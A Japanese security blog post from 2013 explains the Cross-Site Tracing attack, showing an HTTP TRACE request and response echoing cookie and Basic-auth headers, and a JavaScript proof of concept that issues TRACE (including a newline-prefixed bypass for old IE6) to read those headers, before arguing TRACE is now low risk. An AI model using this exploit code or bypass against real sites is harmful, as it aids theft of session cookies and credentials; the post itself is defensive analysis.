実はそんなに怖くないTRACEメソッド

Cross-Site Tracing(XST)という化石のような攻撃手法があります。「化石」と書いたように、既に現実的な危険性はないのですが、XSTに関連して「TRACEメソッドは危険」というコメントを今でも見ることがあります。
このエントリでは、XSTという攻撃手法について説明し、XSTおよびTRACEメソッドについてどう考えればよいかを紹介します。

TRACEメソッドとは

HTTP 1.1(RFC2616)では、8種類のメソッドが定義されています。GET、POST、HEADなどはおなじみのものですが、それ以外にPUT、DELETE、OPTIONS、TRACE、CONNECTの5種があります。
このうち、TRACEメソッドは、HTTPリクエストを「オウム返しに」HTTPレスポンスとして返すもので、以下のようにGET等の代わりにTRACEとしてWebサーバーにリクエストします。

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive

レスポンスの例を以下に示します。

HTTP/1.1 200 OK
Date: Tue, 22 Jan 2013 13:51:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: message/http
Content-Length: 198

TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive

レスポンスボディ（青字の部分）に注目すると、HTTPリクエストがそのまま返されていることが分かります。この中には、CookieヘッダやAuthorizationヘッダも含まれます。

Cross-Site Tracing(XST)攻撃とは

XST攻撃とは、XSSとTRACEメソッドを組み合わせた攻撃手法であり、2003年1月に発表されました。
XSS単独では、XSSによりJavaScript等が動いているブラウザ上のレスポンス(ヘッダ及びボディ)は取得出来ますが、リクエストヘッダを取得することはできません。このため通常は、HttpOnly属性の指定されたCookieや、Authorizationヘッダ（Basic認証のIDとパスワード）を取得することはできません。
しかし、TRACEメソッドを実行すると、先に見たようにリクエストヘッダがそのままレスポンスとして返るので、XSS単独ではとることのできないHttpOnly属性の指定されたCookieや、Authorizationヘッダを盗み出すことができます。これがXST攻撃です。とくに、BASIC認証のIDとパスワードを盗むことができると、長期にわたって不正にログインすることができてしまうため、XSSの影響が大きくなります。

XST攻撃の実際

それでは、XST攻撃の実際を見てみましょう。以下はXST攻撃のコード例です。

<body>
<script type="text/javascript">
function sendTrace (trace) {
 try {
  var xhr = 0;
  if (window.XMLHttpRequest) {
    xhr = new XMLHttpRequest();
  } else {
     xhr = new ActiveXObject("Microsoft.XMLHTTP");
  }
  if (trace == 1) {
    xhr.open("TRACE", "/auth/", false);
  } else if (trace == 2) {
    xhr.open("\nTRACE", "/auth/", false);
  } else {
    xhr.open("GET", "/auth/", false);
  }
  xhr.send();
  res = xhr.responseText;
  alert(res);
 } catch (e) {
  alert('Error:' + e.message);
 }
}
</script>
<input type="button" onclick="sendTrace(0);" VALUE="GET">
<input type="button" onclick="sendTrace(1);" VALUE="TRACE">
<input type="button" onclick="sendTrace(2);" VALUE="\nTRACE">
</body>

Windows XP SP1のIE6での実行結果は下記となります。CookieとAuthrizationヘッダが取得できていることがわかります。この場合、HttpOnlyのCookieでも取得出来ます。

さて、Windwos XP SP1というと、とっくにサポートが切れているバージョンですが、より新しいバージョンのWindowsではどうでしょうか。Windows XP SP2(SP2を適用し他のパッチは適用していないもの)の場合、実行結果は下記となります。

JavaScriptの例外が発生しています。これは、TRACEメソッドをXMLHttpRequestオブジェクトから発行することが禁止されたことを意味しています。
しかし、このチェックには漏れがあり、"TRACE"の代わりに、"\nTRACE"(先頭に改行を含む)の場合は、TRACEメソッドが通ってしまいます。この内容については金床さんの記事が参考になります。

このチェック漏れですが、SP2に対するパッチで修正された模様で、SP2にすべてのパッチを適用したIE6だと、エラーになります。

XSTがブラウザ側で対策されたのはいつ?

さて、現在ではすべてのブラウザでXST対策がとられ、XST攻撃を行うことはできなくなっています（参考:XMLHttpRequestオブジェクトを使ったTRACEメソッド送信のブラウザ対応状況を確認してみる）。それでは、ブラウザ側でXST対策されるようになったのはいつ頃でしょうか。
上記のように、Windows XP SP2では不完全ながらXSTの対策がとられていますが、Windows XP SP2が出荷されたのは2004年9月ですから、当時既に「XSTはブラウザ側で対処すべし」という意識になっていたと思われます。また、GSXの白石さんの調査によると、IE以外のブラウザでXST攻撃ができたのは、Firefoxの1.0.5(2005年9月リリース)までであり、2005年11月リリースのFirefox1.5では攻撃が抑止されています。その他の、Opera、Google Chrome、Safariについては、XST可能なバージョンはありません。

これらの状況から、主要ブラウザに関しては2006年頃の段階では既にXSTの対策を終えており、現在サポートが継続されているバージョンについては、XST攻撃可能なブラウザはないと言えます。

XSTおよびTRACEメソッドをどのように捉えるか

このような状況にあるにも関わらず、最近でも「TRACEメソッドは危険」という記事を見かけることがあります（参考:TRACEメソッドって怖いんです - カイワレの大冒険）。しかし、以下の理由により、TRACEメソッドが危険というのは、あたらなくなっているというのが実情ではないでしょうか。

XSTは元々XSS脆弱性が存在しないと危険性はない
XSS単独でも危険な脆弱性である
XSTがなくてもXSS単体でBASIC認証のあるコンテンツを盗むことはできる
主要ブラウザでは5年ほど前からXST防御機能が入っている
古いブラウザを使うこと自体が大変危険な行為である

それにも関わらず、TRACEメソッドはWebサーバー側で止めておけと言われている理由は下記理由からです。

XSTで万一BASIC認証のパスワードが漏洩すると影響が長期に及ぶ
XSSを完全に排除することは実際には困難である
TRACEメソッドはApacheの設定で極めて容易に止めることができ、副作用もない

つまり、現在ではXSTの危険性はほとんどないが、TRACEを止めることは簡単に実現でき副作用もないので「TRACEを止めておけば安心」という程度のものであるわけです。

このため、TRACEをサーバー側設定で禁止することはやってもよいと思いますが、いまやTRACEを許容しているからと言って、サーバー設定の脆弱性とまでは言えないと考えられます。

脆弱性診断の実務では、TRACEメソッドを許容した状態を多くの診断業者は指摘すると考えられますが、危険度は「情報」（脆弱性とまでは言えないが一応ご報告）が妥当と考えます。今時、TRACEメソッドの許容を「重大な脆弱性」と指摘する事業者がもしあれば、それはちと過剰な指摘だなと個人的には考えます。

徳丸浩の日記

2013年1月24日木曜日